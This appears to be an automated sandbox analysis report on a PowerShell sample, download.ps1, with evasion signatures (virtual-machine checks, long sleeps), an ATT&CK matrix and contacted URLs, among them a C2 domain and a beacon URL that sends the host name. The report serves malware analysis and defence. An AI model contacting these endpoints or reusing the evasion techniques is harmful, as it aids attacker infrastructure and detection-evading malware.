Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Queries memory information (via WMI often done to detect virtual machines)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5034Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4868Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
Source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B628508000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: IsVirtualMachine
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: "VMware"
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 1:en-US:VMware
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware
Source: powershell.exe, 00000000.00000002.1366056873.000001B628508000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: IsVirtualMachine
Source: powershell.exe, 00000000.00000002.1366056873.000001B628508000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: "IsVirtualMachine"
Source: powershell.exe, 00000000.00000002.1366056873.000001B628787000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware8
Source: powershell.exe, 00000000.00000002.1401791218.000001B63FFA0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Windows Management Instrumentation		1
DLL Side-Loading		1
Process Injection		121
Virtualization/Sandbox Evasion		OS Credential Dumping21
Security Software Discovery		Remote Services1
Archive Collected Data		1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts1
PowerShell		Boot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory1
Process Discovery		Remote Desktop ProtocolData from Removable Media1
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Obfuscated Files or Information		Security Account Manager121
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared Drive2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDS1
Application Window Discovery		Distributed Component Object ModelInput Capture12
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets2
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials11
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
download.ps13%ReversingLabs
download.ps18%VirustotalBrowse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://$b764eusxo23ywv0/$kd48yefho9u132r.php?id=$env:computername&key=$tglovf&s=5270%Avira URL Cloudsafe
http://0.google.com/0%Avira URL Cloudsafe
http://kcehmenjdibnmni.top0%Avira URL Cloudsafe
http://csoft.com/pki/crl0%Avira URL Cloudsafe
http://www.microsoft._0%Avira URL Cloudsafe
https://0.google0%Avira URL Cloudsafe
http://crl.microsoft.0%Avira URL Cloudsafe
https://0.google.com/0%Avira URL Cloudsafe
http://0.google.0%Avira URL Cloudsafe
http://kcehmenjdibnmni.top/hlofm1brkshtr.php?id=user-PC&key=62803468549&s=5270%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
www.google.com
142.250.184.228
truefalse
    		high
    kcehmenjdibnmni.top
    		45.61.136.138
    		truetrue
      		unknown

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://kcehmenjdibnmni.top/hlofm1brkshtr.php?id=user-PC&key=62803468549&s=527true
      • Avira URL Cloud: safe
      		unknown
      http://www.google.com/false
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://www.google.copowershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          https://photos.google.com/?tab=wq&pageId=nonepowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            http://csoft.com/pki/crlpowershell.exe, 00000000.00000002.1399171005.000001B63FC5C000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.google.com/preferences?hl=enXpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://csp.withgoogle.com/csp/gws/other-hppowershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://contoso.com/Licensepowershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  https://news.google.com/?tab=wnpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    http://$b764eusxo23ywv0/$kd48yefho9u132r.php?id=$env:computername&key=$tglovf&s=527powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B628DCF000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://docs.google.com/document/?usp=docs_alcpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://schema.org/WebPagepowershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B629C6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        https://0.google.com/powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://www.google.com/webhp?tab=wwpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://schema.org/WebPageXpowershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://contoso.com/powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://nuget.org/nuget.exepowershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://www.google.com/finance?tab=wepowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://maps.google.com/maps?hl=en&tab=wlpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.google.compowershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://apis.google.compowershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B6378E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.microsoft.cpowershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000000.00000002.1366056873.000001B6278E1000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.blogger.com/?tab=wjpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.microsoft._powershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.google.com/mobile/?hl=en&tab=wDpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
